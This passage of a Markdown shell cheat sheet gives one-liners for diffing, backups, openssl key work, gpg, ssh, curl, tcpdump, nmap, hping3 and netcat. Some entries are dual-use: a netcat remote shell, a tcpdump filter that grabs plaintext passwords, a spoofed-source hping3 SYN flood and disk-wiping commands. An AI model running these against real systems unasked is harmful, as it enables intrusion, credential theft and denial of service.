###### Compare two directory trees
```bash
diff <(cd directory1 && find | sort) <(cd directory2 && find | sort)
```
###### Compare output of two commands
```bash
diff <(cat /etc/passwd) <(cut -f2 /etc/passwd)
```
___
##### Tool: [vimdiff](http://vimdoc.sourceforge.net/htmldoc/diff.html)
###### Highlight the exact differences, based on characters and words
```bash
vimdiff file1 file2
```
###### Compare two JSON files
```bash
vimdiff <(jq -S . A.json) <(jq -S . B.json)
```
###### Compare Hex dump
```bash
d(){ vimdiff <(f $1) <(f $2);};f(){ hexdump -C $1|cut -d' ' -f3-|tr -s ' ';}; d ~/bin1 ~/bin2
```
###### diffchar
Save [diffchar](https://raw.githubusercontent.com/vim-scripts/diffchar.vim/master/plugin/diffchar.vim) @ `~/.vim/plugins`
Click `F7` to switch between diff modes
Usefull `vimdiff` commands:
* `qa` to exit all windows
* `:vertical resize 70` to resize window
* set window width `Ctrl+W [N columns]+(Shift+)<\>`
___
##### Tool: [tail](https://en.wikipedia.org/wiki/Tail_(Unix))
###### Annotate tail -f with timestamps
```bash
tail -f file | while read ; do echo "$(date +%T.%N) $REPLY" ; done
```
###### Analyse an Apache access log for the most common IP addresses
```bash
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
```
###### Analyse web server log and show only 5xx http codes
```bash
tail -n 100 -f /path/to/logfile | grep "HTTP/[1-2].[0-1]\" [5]"
```
___
##### Tool: [tar](https://en.wikipedia.org/wiki/Tar_(computing))
###### System backup with exclude specific directories
```bash
cd /
tar -czvpf /mnt/system$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* --exclude=mnt/* .
```
###### System backup with exclude specific directories (pigz)
```bash
cd /
tar cvpf /backup/snapshot-$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* \
--exclude=mnt/* --exclude=tmp/* --use-compress-program=pigz .
```
___
##### Tool: [dump](https://en.wikipedia.org/wiki/Dump_(program))
###### System backup to file
```bash
dump -y -u -f /backup/system$(date +%d%m%Y%s).lzo /
```
###### Restore system from lzo file
```bash
cd /
restore -rf /backup/system$(date +%d%m%Y%s).lzo
```
___
##### Tool: [cpulimit](http://cpulimit.sourceforge.net/)
###### Limit the cpu usage of a process
```bash
cpulimit -p pid -l 50
```
___
##### Tool: [pwdx](https://www.cyberciti.biz/faq/unix-linux-pwdx-command-examples-usage-syntax/)
###### Show current working directory of a process
```bash
pwdx <pid>
```
___
##### Tool: [taskset](https://www.cyberciti.biz/faq/taskset-cpu-affinity-command/)
###### Start a command on only one CPU core
```bash
taskset -c 0 <command>
```
___
##### Tool: [tr](https://en.wikipedia.org/wiki/Tr_(Unix))
###### Show directories in the PATH, one per line
```bash
tr : '\n' <<<$PATH
```
___
##### Tool: [chmod](https://en.wikipedia.org/wiki/Chmod)
###### Remove executable bit from all files in the current directory
```bash
chmod -R -x+X *
```
###### Restore permission for /bin/chmod
```bash
# 1:
cp /bin/ls chmod.01
cp /bin/chmod chmod.01
./chmod.01 700 file
# 2:
/bin/busybox chmod 0700 /bin/chmod
# 3:
setfacl --set u::rwx,g::---,o::--- /bin/chmod
```
___
##### Tool: [who](https://en.wikipedia.org/wiki/Who_(Unix))
###### Find last reboot time
```bash
who -b
```
###### Detect a user sudo-su'd into the current shell
```bash
[[ $(who -m | awk '{ print $1 }') == $(whoami) ]] || echo "You are su-ed to $(whoami)"
```
___
##### Tool: [last](https://www.howtoforge.com/linux-last-command/)
###### Was the last reboot a panic?
```bash
(last -x -f $(ls -1t /var/log/wtmp* | head -2 | tail -1); last -x -f /var/log/wtmp) | \
grep -A1 reboot | head -2 | grep -q shutdown && echo "Expected reboot" || echo "Panic reboot"
```
___
##### Tool: [screen](https://en.wikipedia.org/wiki/GNU_Screen)
###### Start screen in detached mode
```bash
screen -d -m <command>
```
###### Attach to an existing screen session
```bash
screen -r -d <pid>
```
___
##### Tool: [script](https://en.wikipedia.org/wiki/Script_(Unix))
###### Record and replay terminal session
```bash
### Record session
# 1)
script -t 2>~/session.time -a ~/session.log
# 2)
script --timing=session.time session.log
### Replay session
scriptreplay --timing=session.time session.log
```
___
##### Tool: [du](https://en.wikipedia.org/wiki/GNU_Screen)
###### Show 20 biggest directories with 'K M G'
```bash
du | \
sort -r -n | \
awk '{split("K M G",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}' | \
head -n 20
```
___
##### Tool: [inotifywait](https://en.wikipedia.org/wiki/GNU_Screen)
###### Init tool everytime a file in a directory is modified
```bash
while true ; do inotifywait -r -e MODIFY dir/ && ls dir/ ; done;
```
___
##### Tool: [openssl](https://www.openssl.org/)
###### Testing connection to the remote host
```bash
echo | openssl s_client -connect google.com:443 -showcerts
```
###### Testing connection to the remote host (debug mode)
```bash
echo | openssl s_client -connect google.com:443 -showcerts -tlsextdebug -status
```
###### Testing connection to the remote host (with SNI support)
```bash
echo | openssl s_client -showcerts -servername google.com -connect google.com:443
```
###### Testing connection to the remote host with specific ssl version
```bash
openssl s_client -tls1_2 -connect google.com:443
```
###### Testing connection to the remote host with specific ssl cipher
```bash
openssl s_client -cipher 'AES128-SHA' -connect google.com:443
```
###### Verify 0-RTT
```bash
_host="example.com"
cat > req.in << __EOF__
HEAD / HTTP/1.1
Host: $_host
Connection: close
__EOF__
openssl s_client -connect ${_host}:443 -tls1_3 -sess_out session.pem -ign_eof < req.in
openssl s_client -connect ${_host}:443 -tls1_3 -sess_in session.pem -early_data req.in
```
###### Generate private key without passphrase
```bash
# _len: 2048, 4096
( _fd="private.key" ; _len="2048" ; \
openssl genrsa -out ${_fd} ${_len} )
```
###### Generate private key with passphrase
```bash
# _ciph: des3, aes128, aes256
# _len: 2048, 4096
( _ciph="aes128" ; _fd="private.key" ; _len="2048" ; \
openssl genrsa -${_ciph} -out ${_fd} ${_len} )
```
###### Remove passphrase from private key
```bash
( _fd="private.key" ; _fd_unp="private_unp.key" ; \
openssl rsa -in ${_fd} -out ${_fd_unp} )
```
###### Encrypt existing private key with a passphrase
```bash
# _ciph: des3, aes128, aes256
( _ciph="aes128" ; _fd="private.key" ; _fd_pass="private_pass.key" ; \
openssl rsa -${_ciph} -in ${_fd} -out ${_fd_pass}
```
###### Check private key
```bash
( _fd="private.key" ; \
openssl rsa -check -in ${_fd} )
```
###### Get public key from private key
```bash
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl rsa -pubout -in ${_fd} -out ${_fd_pub} )
```
###### Generate private key and CSR
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; _len="2048" ; \
openssl req -out ${_fd_csr} -new -newkey rsa:${_len} -nodes -keyout ${_fd} )
```
###### Generate CSR
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -out ${_fd_csr} -new -key ${_fd} )
```
###### Generate CSR (metadata from existing certificate)
> Where `private.key` is the existing private key. As you can see you do not generate this CSR from your certificate (public key). Also you do not generate the "same" CSR, just a new one to request a new certificate.
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; _fd_crt="cert.crt" ; \
openssl x509 -x509toreq -in ${_fd_crt} -out ${_fd_csr} -signkey ${_fd} )
```
###### Generate CSR with -config param
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \
-config <(
cat << __EOF__
[req]
default_bits = 2048
default_md = sha256
prompt = no
distinguished_name = dn
req_extensions = req_ext
[ dn ]
C = "<two-letter ISO abbreviation for your country>"
ST = "<state or province where your organisation is legally located>"
L = "<city where your organisation is legally located>"
O = "<legal name of your organisation>"
OU = "<section of the organisation>"
CN = "<fully qualified domain name>"
[ req_ext ]
subjectAltName = @alt_names
[ alt_names ]
DNS.1 = <fully qualified domain name>
DNS.2 = <next domain>
DNS.3 = <next domain>
__EOF__
))
```
Other values in `[ dn ]`:
```
countryName = "DE" # C=
stateOrProvinceName = "Hessen" # ST=
localityName = "Keller" # L=
postalCode = "424242" # L/postalcode=
postalAddress = "Keller" # L/postaladdress=
streetAddress = "Crater 1621" # L/street=
organizationName = "apfelboymschule" # O=
organizationalUnitName = "IT Department" # OU=
commonName = "example.com" # CN=
emailAddress = "[email protected]" # CN/emailAddress=
```
Example of `oids` (you'll probably also have to make OpenSSL know about the new fields required for EV by adding the following under `[new_oids]`):
```
[req]
...
oid_section = new_oids
[ new_oids ]
postalCode = 2.5.4.17
streetAddress = 2.5.4.9
```
For more information please look at these great explanations:
- [RFC 5280](https://tools.ietf.org/html/rfc5280)
- [How to create multidomain certificates using config files](https://apfelboymchen.net/gnu/notes/openssl%20multidomain%20with%20config%20files.html)
- [Generate a multi domains certificate using config files](https://gist.github.com/romainnorberg/464758a6620228b977212a3cf20c3e08)
- [Your OpenSSL CSR command is out of date](https://expeditedsecurity.com/blog/openssl-csr-command/)
- [OpenSSL example configuration file](https://www.tbs-certificats.com/openssl-dem-server-cert.cnf)
###### List available EC curves
```bash
openssl ecparam -list_curves
```
###### Print ECDSA private and public keys
```bash
( _fd="private.key" ; \
openssl ec -in ${_fd} -noout -text )
# For x25519 only extracting public key
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl pkey -in ${_fd} -pubout -out ${_fd_pub} )
```
###### Generate ECDSA private key
```bash
# _curve: prime256v1, secp521r1, secp384r1
( _fd="private.key" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey )
# _curve: X25519
( _fd="private.key" ; _curve="x25519" ; \
openssl genpkey -algorithm ${_curve} -out ${_fd} )
```
###### Generate private key and CSR (ECC)
```bash
# _curve: prime256v1, secp521r1, secp384r1
( _fd="domain.com.key" ; _fd_csr="domain.com.csr" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey ; \
openssl req -new -key ${_fd} -out ${_fd_csr} -sha256 )
```
###### Generate self-signed certificate
```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_out="domain.crt" ; _len="2048" ; _days="365" ; \
openssl req -newkey rsa:${_len} -nodes \
-keyout ${_fd} -x509 -days ${_days} -out ${_fd_out} )
```
###### Generate self-signed certificate from existing private key
```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_out="domain.crt" ; _days="365" ; \
openssl req -key ${_fd} -nodes \
-x509 -days ${_days} -out ${_fd_out} )
```
###### Generate self-signed certificate from existing private key and csr
```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_csr="domain.csr" ; _fd_out="domain.crt" ; _days="365" ; \
openssl x509 -signkey ${_fd} -nodes \
-in ${_fd_csr} -req -days ${_days} -out ${_fd_out} )
```
###### Generate DH public parameters
```bash
( _dh_size="2048" ; \
openssl dhparam -out /etc/nginx/ssl/dhparam_${_dh_size}.pem "$_dh_size" )
```
###### Display DH public parameters
```bash
openssl pkeyparam -in dhparam.pem -text
```
###### Extract private key from pfx
```bash
( _fd_pfx="cert.pfx" ; _fd_key="key.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nocerts -nodes -out ${_fd_key} )
```
###### Extract private key and certs from pfx
```bash
( _fd_pfx="cert.pfx" ; _fd_pem="key_certs.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nodes -out ${_fd_pem} )
```
###### Extract certs from p7b
```bash
# PKCS#7 file doesn't include private keys.
( _fd_p7b="cert.p7b" ; _fd_pem="cert.pem" ; \
openssl pkcs7 -inform DER -outform PEM -in ${_fd_p7b} -print_certs > ${_fd_pem})
# or:
openssl pkcs7 -print_certs -in -in ${_fd_p7b} -out ${_fd_pem})
```
###### Convert DER to PEM
```bash
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_der} -inform der -outform pem -out ${_fd_pem} )
```
###### Convert PEM to DER
```bash
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_pem} -outform der -out ${_fd_der} )
```
###### Verification of the private key
```bash
( _fd="private.key" ; \
openssl rsa -noout -text -in ${_fd} )
```
###### Verification of the public key
```bash
# 1)
( _fd="public.key" ; \
openssl pkey -noout -text -pubin -in ${_fd} )
# 2)
( _fd="private.key" ; \
openssl rsa -inform PEM -noout -in ${_fd} &> /dev/null ; \
if [ $? = 0 ] ; then echo -en "OK\n" ; fi )
```
###### Verification of the certificate
```bash
( _fd="certificate.crt" ; # format: pem, cer, crt \
openssl x509 -noout -text -in ${_fd} )
```
###### Verification of the CSR
```bash
( _fd_csr="request.csr" ; \
openssl req -text -noout -in ${_fd_csr} )
```
###### Check the private key and the certificate are match
```bash
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl x509 -noout -modulus -in certificate.crt | openssl md5) | uniq
```
###### Check the private key and the CSR are match
```bash
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl req -noout -modulus -in request.csr | openssl md5) | uniq
```
___
##### Tool: [secure-delete](https://wiki.archlinux.org/index.php/Securely_wipe_disk)
###### Secure delete with shred
```bash
shred -vfuz -n 10 file
shred --verbose --random-source=/dev/urandom -n 1 /dev/sda
```
###### Secure delete with scrub
```bash
scrub -p dod /dev/sda
scrub -p dod -r file
```
###### Secure delete with badblocks
```bash
badblocks -s -w -t random -v /dev/sda
badblocks -c 10240 -s -w -t random -v /dev/sda
```
###### Secure delete with secure-delete
```bash
srm -vz /tmp/file
sfill -vz /local
sdmem -v
swapoff /dev/sda5 && sswap -vz /dev/sda5
```
___
##### Tool: [dd](https://en.wikipedia.org/wiki/Dd_(Unix))
###### Show dd status every so often
```bash
dd <dd_params> status=progress
watch --interval 5 killall -USR1 dd
```
###### Redirect output to a file with dd
```bash
echo "string" | dd of=filename
```
___
##### Tool: [gpg](https://www.gnupg.org/)
###### Export public key
```bash
gpg --export --armor "<username>" > username.pkey
```
* `--export` - export all keys from all keyrings or specific key
* `-a|--armor` - create ASCII armored output
###### Encrypt file
```bash
gpg -e -r "<username>" dump.sql
```
* `-e|--encrypt` - encrypt data
* `-r|--recipient` - encrypt for specific <username>
###### Decrypt file
```bash
gpg -o dump.sql -d dump.sql.gpg
```
* `-o|--output` - use as output file
* `-d|--decrypt` - decrypt data (default)
###### Search recipient
```bash
gpg --keyserver hkp://keyserver.ubuntu.com --search-keys "<username>"
```
* `--keyserver` - set specific key server
* `--search-keys` - search for keys on a key server
###### List all of the packets in an encrypted file
```bash
gpg --batch --list-packets archive.gpg
gpg2 --batch --list-packets archive.gpg
```
___
##### Tool: [system-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-system-other)
###### Reboot system from init
```bash
exec /sbin/init 6
```
###### Init system from single user mode
```bash
exec /sbin/init
```
###### Show current working directory of a process
```bash
readlink -f /proc/<PID>/cwd
```
###### Show actual pathname of the executed command
```bash
readlink -f /proc/<PID>/exe
```
##### Tool: [curl](https://curl.haxx.se)
```bash
curl -Iks https://www.google.com
```
* `-I` - show response headers only
* `-k` - insecure connection when using ssl
* `-s` - silent mode (not display body)
```bash
curl -Iks --location -X GET -A "x-agent" https://www.google.com
```
* `--location` - follow redirects
* `-X` - set method
* `-A` - set user-agent
```bash
curl -Iks --location -X GET -A "x-agent" --proxy http://127.0.0.1:16379 https://www.google.com
```
* `--proxy [socks5://|http://]` - set proxy server
```bash
curl -o file.pdf -C - https://example.com/Aiju2goo0Ja2.pdf
```
* `-o` - write output to file
* `-C` - resume the transfer
###### Find your external IP address (external services)
```bash
curl ipinfo.io
curl ipinfo.io/ip
curl icanhazip.com
curl ifconfig.me/ip ; echo
```
###### Repeat URL request
```bash
# URL sequence substitution with a dummy query string:
curl -ks https://example.com/?[1-20]
# With shell 'for' loop:
for i in {1..20} ; do curl -ks https://example.com/ ; done
```
###### Check DNS and HTTP trace with headers for specific domains
```bash
### Set domains and external dns servers.
_domain_list=(google.com) ; _dns_list=("8.8.8.8" "1.1.1.1")
for _domain in "${_domain_list[@]}" ; do
printf '=%.0s' {1..48}
echo
printf "[\\e[1;32m+\\e[m] resolve: %s\\n" "$_domain"
for _dns in "${_dns_list[@]}" ; do
# Resolve domain.
host "${_domain}" "${_dns}"
echo
done
for _proto in http https ; do
printf "[\\e[1;32m+\\e[m] trace + headers: %s://%s\\n" "$_proto" "$_domain"
# Get trace and http headers.
curl -Iks -A "x-agent" --location "${_proto}://${_domain}"
echo
done
done
unset _domain_list _dns_list
```
___
##### Tool: [httpie](https://httpie.org/)
```bash
http -p Hh https://www.google.com
```
* `-p` - print request and response headers
* `H` - request headers
* `B` - request body
* `h` - response headers
* `b` - response body
```bash
http -p Hh https://www.google.com --follow --verify no
```
* `-F, --follow` - follow redirects
* `--verify no` - skip SSL verification
```bash
http -p Hh https://www.google.com --follow --verify no \
--proxy http:http://127.0.0.1:16379
```
* `--proxy [http:]` - set proxy server
##### Tool: [ssh](https://www.openssh.com/)
###### Escape Sequence
```
# Supported escape sequences:
~. - terminate connection (and any multiplexed sessions)
~B - send a BREAK to the remote system
~C - open a command line
~R - Request rekey (SSH protocol 2 only)
~^Z - suspend ssh
~# - list forwarded connections
~& - background ssh (when waiting for connections to terminate)
~? - this message
~~ - send the escape character by typing it twice
```
###### Compare a remote file with a local file
```bash
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
```
###### SSH connection through host in the middle
```bash
ssh -t reachable_host ssh unreachable_host
```
###### Run command over SSH on remote host
```bash
cat > cmd.txt << __EOF__
cat /etc/hosts
__EOF__
ssh host -l user $(<cmd.txt)
```
###### Get public key from private key
```bash
ssh-keygen -y -f ~/.ssh/id_rsa
```
###### Get all fingerprints
```bash
ssh-keygen -l -f .ssh/known_hosts
```
###### SSH authentication with user password
```bash
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@remote_host
```
###### SSH authentication with publickey
```bash
ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=yes -i id_rsa user@remote_host
```
###### Simple recording SSH session
```bash
function _ssh_sesslog() {
_sesdir="<path/to/session/logs>"
mkdir -p "${_sesdir}" && \
ssh $@ 2>&1 | tee -a "${_sesdir}/$(date +%Y%m%d).log"
}
# Alias:
alias ssh='_ssh_sesslog'
```
###### Using Keychain for SSH logins
```bash
### Delete all of ssh-agent's keys.
function _scl() {
/usr/bin/keychain --clear
}
### Add key to keychain.
function _scg() {
/usr/bin/keychain /path/to/private-key
source "$HOME/.keychain/$HOSTNAME-sh"
}
```
###### SSH login without processing any login scripts
```bash
ssh -tt user@host bash
```
###### SSH local port forwarding
Example 1:
```bash
# Forwarding our local 2250 port to nmap.org:443 from localhost through localhost
host1> ssh -L 2250:nmap.org:443 localhost
# Connect to the service:
host1> curl -Iks --location -X GET https://localhost:2250
```
Example 2:
```bash
# Forwarding our local 9051 port to db.d.x:5432 from localhost through node.d.y
host1> ssh -nNT -L 9051:db.d.x:5432 node.d.y
# Connect to the service:
host1> psql -U db_user -d db_dev -p 9051 -h localhost
```
* `-n` - redirects stdin from `/dev/null`
* `-N` - do not execute a remote command
* `-T` - disable pseudo-terminal allocation
###### SSH remote port forwarding
```bash
# Forwarding our local 9051 port to db.d.x:5432 from host2 through node.d.y
host1> ssh -nNT -R 9051:db.d.x:5432 node.d.y
# Connect to the service:
host2> psql -U postgres -d postgres -p 8000 -h localhost
```
___
##### Tool: [linux-dev](https://www.tldp.org/LDP/abs/html/devref1.html)
###### Testing remote connection to port
```bash
timeout 1 bash -c "</dev/<proto>/<host>/<port>" >/dev/null 2>&1 ; echo $?
```
* `<proto` - set protocol (tcp/udp)
* `<host>` - set remote host
* `<port>` - set destination port
###### Read and write to TCP or UDP sockets with common bash tools
```bash
exec 5<>/dev/tcp/<host>/<port>; cat <&5 & cat >&5; exec 5>&-
```
___
##### Tool: [tcpdump](http://www.tcpdump.org/)
###### Filter incoming (on interface) traffic (specific <ip:port>)
```bash
tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443
```
* `-n` - don't convert addresses (`-nn` will not resolve hostnames or ports)
* `-e` - print the link-level headers
* `-i [iface|any]` - set interface
* `-Q|-D [in|out|inout]` - choose send/receive direction (`-D` - for old tcpdump versions)
* `host [ip|hostname]` - set host, also `[host not]`
* `[and|or]` - set logic
* `port [1-65535]` - set port number, also `[port not]`
###### Filter incoming (on interface) traffic (specific <ip:port>) and write to a file
```bash
tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443 -c 5 -w tcpdump.pcap
```
* `-c [num]` - capture only num number of packets
* `-w [filename]` - write packets to file, `-r [filename]` - reading from file
###### Capture all ICMP packets
```bash
tcpdump -nei eth0 icmp
```
###### Check protocol used (TCP or UDP) for service
```bash
tcpdump -nei eth0 tcp port 22 -vv -X | egrep "TCP|UDP"
```
###### Display ASCII text (to parse the output using grep or other)
```bash
tcpdump -i eth0 -A -s0 port 443
```
###### Grab everything between two keywords
```bash
tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'
```
###### Grab user and pass ever plain http
```bash
tcpdump -i eth0 port http -l -A | egrep -i \
'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' \
--color=auto --line-buffered -B20
```
###### Extract HTTP User Agent from HTTP request header
```bash
tcpdump -ei eth0 -nn -A -s1500 -l | grep "User-Agent:"
```
###### Capture only HTTP GET and POST packets
```bash
tcpdump -ei eth0 -s 0 -A -vv \
'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' or 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
```
or simply:
```bash
tcpdump -ei eth0 -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"
```
###### Rotate capture files
```bash
tcpdump -ei eth0 -w /tmp/capture-%H.pcap -G 3600 -C 200
```
* `-G <num>` - pcap will be created every `<num>` seconds
* `-C <size>` - close the current pcap and open a new one if is larger than `<size>`
###### Top hosts by packets
```bash
tcpdump -ei enp0s25 -nnn -t -c 200 | cut -f 1,2,3,4 -d '.' | sort | uniq -c | sort -nr | head -n 20
```
###### Excludes any RFC 1918 private address
```bash
tcpdump -nei eth0 'not (src net (10 or 172.16/12 or 192.168/16) and dst net (10 or 172.16/12 or 192.168/16))'
```
___
##### Tool: [tcpick](http://tcpick.sourceforge.net/)
###### Analyse packets in real-time
```bash
while true ; do tcpick -a -C -r dump.pcap ; sleep 2 ; clear ; done
```
___
##### Tool: [ngrep](http://ngrep.sourceforge.net/usage.html)
```bash
ngrep -d eth0 "www.domain.com" port 443
```
* `-d [iface|any]` - set interface
* `[domain]` - set hostname
* `port [1-65535]` - set port number
```bash
ngrep -d eth0 "www.domain.com" src host 10.240.20.2 and port 443
```
* `(host [ip|hostname])` - filter by ip or hostname
* `(port [1-65535])` - filter by port number
```bash
ngrep -d eth0 -qt -O ngrep.pcap "www.domain.com" port 443
```
* `-q` - quiet mode (only payloads)
* `-t` - added timestamps
* `-O [filename]` - save output to file, `-I [filename]` - reading from file
```bash
ngrep -d eth0 -qt 'HTTP' 'tcp'
```
* `HTTP` - show http headers
* `tcp|udp` - set protocol
* `[src|dst] host [ip|hostname]` - set direction for specific node
```bash
ngrep -l -q -d eth0 -i "User-Agent: curl*"
```
* `-l` - stdout line buffered
* `-i` - case-insensitive search
___
##### Tool: [hping3](http://www.hping.org/)
```bash
hping3 -V -p 80 -s 5050 <scan_type> www.google.com
```
* `-V|--verbose` - verbose mode
* `-p|--destport` - set destination port
* `-s|--baseport` - set source port
* `<scan_type>` - set scan type
* `-F|--fin` - set FIN flag, port open if no reply
* `-S|--syn` - set SYN flag
* `-P|--push` - set PUSH flag
* `-A|--ack` - set ACK flag (use when ping is blocked, RST response back if the port is open)
* `-U|--urg` - set URG flag
* `-Y|--ymas` - set Y unused flag (0x80 - nullscan), port open if no reply
* `-M 0 -UPF` - set TCP sequence number and scan type (URG+PUSH+FIN), port open if no reply
```bash
hping3 -V -c 1 -1 -C 8 www.google.com
```
* `-c [num]` - packet count
* `-1` - set ICMP mode
* `-C|--icmptype [icmp-num]` - set icmp type (default icmp-echo = 8)
```bash
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source <remote_host>
```
* `--flood` - sent packets as fast as possible (don't show replies)
* `--rand-source` - random source address mode
* `-d --data` - data size
* `-w|--win` - winsize (default 64)
___
##### Tool: [nmap](https://nmap.org/)
###### Ping scans the network
```bash
nmap -sP 192.168.0.0/24
```
###### Show only open ports
```bash
nmap -F --open 192.168.0.0/24
```
###### Full TCP port scan using with service version detection
```bash
nmap -p 1-65535 -sV -sS -T4 192.168.0.0/24
```
###### Nmap scan and pass output to Nikto
```bash
nmap -p80,443 192.168.0.0/24 -oG - | nikto.pl -h -
```
###### Recon specific ip:service with Nmap NSE scripts stack
```bash
# Set variables:
_hosts="192.168.250.10"
_ports="80,443"
# Set Nmap NSE scripts stack:
_nmap_nse_scripts="+dns-brute,\
+http-auth-finder,\
+http-chrono,\
+http-cookie-flags,\
+http-cors,\
+http-cross-domain-policy,\
+http-csrf,\
+http-dombased-xss,\
+http-enum,\
+http-errors,\
+http-git,\
+http-grep,\
+http-internal-ip-disclosure,\
+http-jsonp-detection,\
+http-malware-host,\
+http-methods,\
+http-passwd,\
+http-phpself-xss,\
+http-php-version,\
+http-robots.txt,\
+http-sitemap-generator,\
+http-shellshock,\
+http-stored-xss,\
+http-title,\
+http-unsafe-output-escaping,\
+http-useragent-tester,\
+http-vhosts,\
+http-waf-detect,\
+http-waf-fingerprint,\
+http-xssed,\
+traceroute-geolocation.nse,\
+ssl-enum-ciphers,\
+whois-domain,\
+whois-ip"
# Set Nmap NSE script params:
_nmap_nse_scripts_args="dns-brute.domain=${_hosts},http-cross-domain-policy.domain-lookup=true,"
_nmap_nse_scripts_args+="http-waf-detect.aggro,http-waf-detect.detectBodyChanges,"
_nmap_nse_scripts_args+="http-waf-fingerprint.intensive=1"
# Perform scan:
nmap --script="$_nmap_nse_scripts" --script-args="$_nmap_nse_scripts_args" -p "$_ports" "$_hosts"
```
___
##### Tool: [netcat](http://netcat.sourceforge.net/)
```bash
nc -kl 5000
```
* `-l` - listen for an incoming connection
* `-k` - listening after client has disconnected
* `>filename.out` - save receive data to file (optional)
```bash
nc 192.168.0.1 5051 < filename.in
```
* `< filename.in` - send data to remote host
```bash
nc -vz 10.240.30.3 5000
```
* `-v` - verbose output
* `-z` - scan for listening daemons
```bash
nc -vzu 10.240.30.3 1-65535
```
* `-u` - scan only udp ports
###### Transfer data file (archive)
```bash
server> nc -l 5000 | tar xzvfp -
client> tar czvfp - /path/to/dir | nc 10.240.30.3 5000
```
###### Launch remote shell
```bash
# 1)
server> nc -l 5000 -e /bin/bash
client> nc 10.240.30.3 5000
# 2)
server> rm -f /tmp/f; mkfifo /tmp/f
server> cat /tmp/f | /bin/bash -i 2>&1 | nc -l 127.0.0.1 5000 > /tmp/f
client> nc 10.240.30.3 5000
```
###### Simple file server
```bash
while true ; do nc -l 5000 | tar -xvf - ; done
```
###### Simple minimal HTTP Server
```bash
while true ; do nc -l -p 1500 -c 'echo -e "HTTP/1.1 200 OK\n\n $(date)"' ; done
```
###### Simple HTTP Server
> Restarts web server after each request - remove `while` condition for only single connection.
```bash
cat > index.html << __EOF__
<!doctype html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title></title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<p>
Hello! It's a site.
</p>
</body>
</html>
__EOF__
```
```bash
server> while : ; do \
(echo -ne "HTTP/1.1 200 OK\r\nContent-Length: $(wc -c <index.html)\r\n\r\n" ; cat index.html;) | \
nc -l -p 5000 \
; done
```
* `-p` - port number
###### Simple HTTP Proxy (single connection)
```bash
#!/usr/bin/env bash
if [[ $# != 2 ]] ; then
printf "%s\\n" \
"usage: ./nc-proxy listen-port bk_host:bk_port"
fi
_listen_port="$1"
_bk_host=$(echo "$2" | cut -d ":" -f1)
_bk_port=$(echo "$2" | cut -d ":" -f2)
printf " lport: %s\\nbk_host: %s\\nbk_port: %s\\n\\n" \
"$_listen_port" "$_bk_host" "$_bk_port"
_tmp=$(mktemp -d)
_back="$_tmp/pipe.back"
_sent="$_tmp/pipe.sent"
_recv="$_tmp/pipe.recv"
trap 'rm -rf "$_tmp"' EXIT
mkfifo -m 0600 "$_back" "$_sent" "$_recv"
sed "s/^/=> /" <"$_sent" &
sed "s/^/<= /" <"$_recv" &
nc -l -p "$_listen_port" <"$_back" | \
tee "$_sent" | \
nc "$_bk_host" "$_bk_port" | \
tee "$_recv" >"$_back"
```
```bash
server> chmod +x nc-proxy && ./nc-proxy 8080 192.168.252.10:8000
lport: 8080
bk_host: 192.168.252.10
bk_port: 8000
client> http -p h 10.240.30.3:8080
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=31536000
Content-Length: 2748
Content-Type: text/html; charset=utf-8
Date: Sun, 01 Jul 2018 20:12:08 GMT
Last-Modified: Sun, 01 Apr 2018 21:53:37 GMT
```
###### Create a single-use TCP or UDP proxy
```bash
### TCP -> TCP
nc -l -p 2000 -c "nc [ip|hostname] 3000"
### TCP -> UDP
nc -l -p 2000 -c "nc -u [ip|hostname] 3000"
### UDP -> UDP
nc -l -u -p 2000 -c "nc -u [ip|hostname] 3000"
### UDP -> TCP
nc -l -u -p 2000 -c "nc [ip|hostname] 3000"
```
___
##### Tool: [gnutls-cli](https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html)
###### Testing connection to remote host (with SNI support)
```bash
gnutls-cli -p 443 google.com
```
###### Testing connection to remote host (without SNI support)
```bash
gnutls-cli --disable-sni -p 443 google.com
```
___
##### Tool: [socat](http://www.dest-unreach.org/socat/doc/socat.html)
###### Testing remote connection to port
```bash
socat - TCP4:10.240.30.3:22
```
* `-` - standard input (STDIO)
* `TCP4:<params>` - set tcp4 connection with specific params
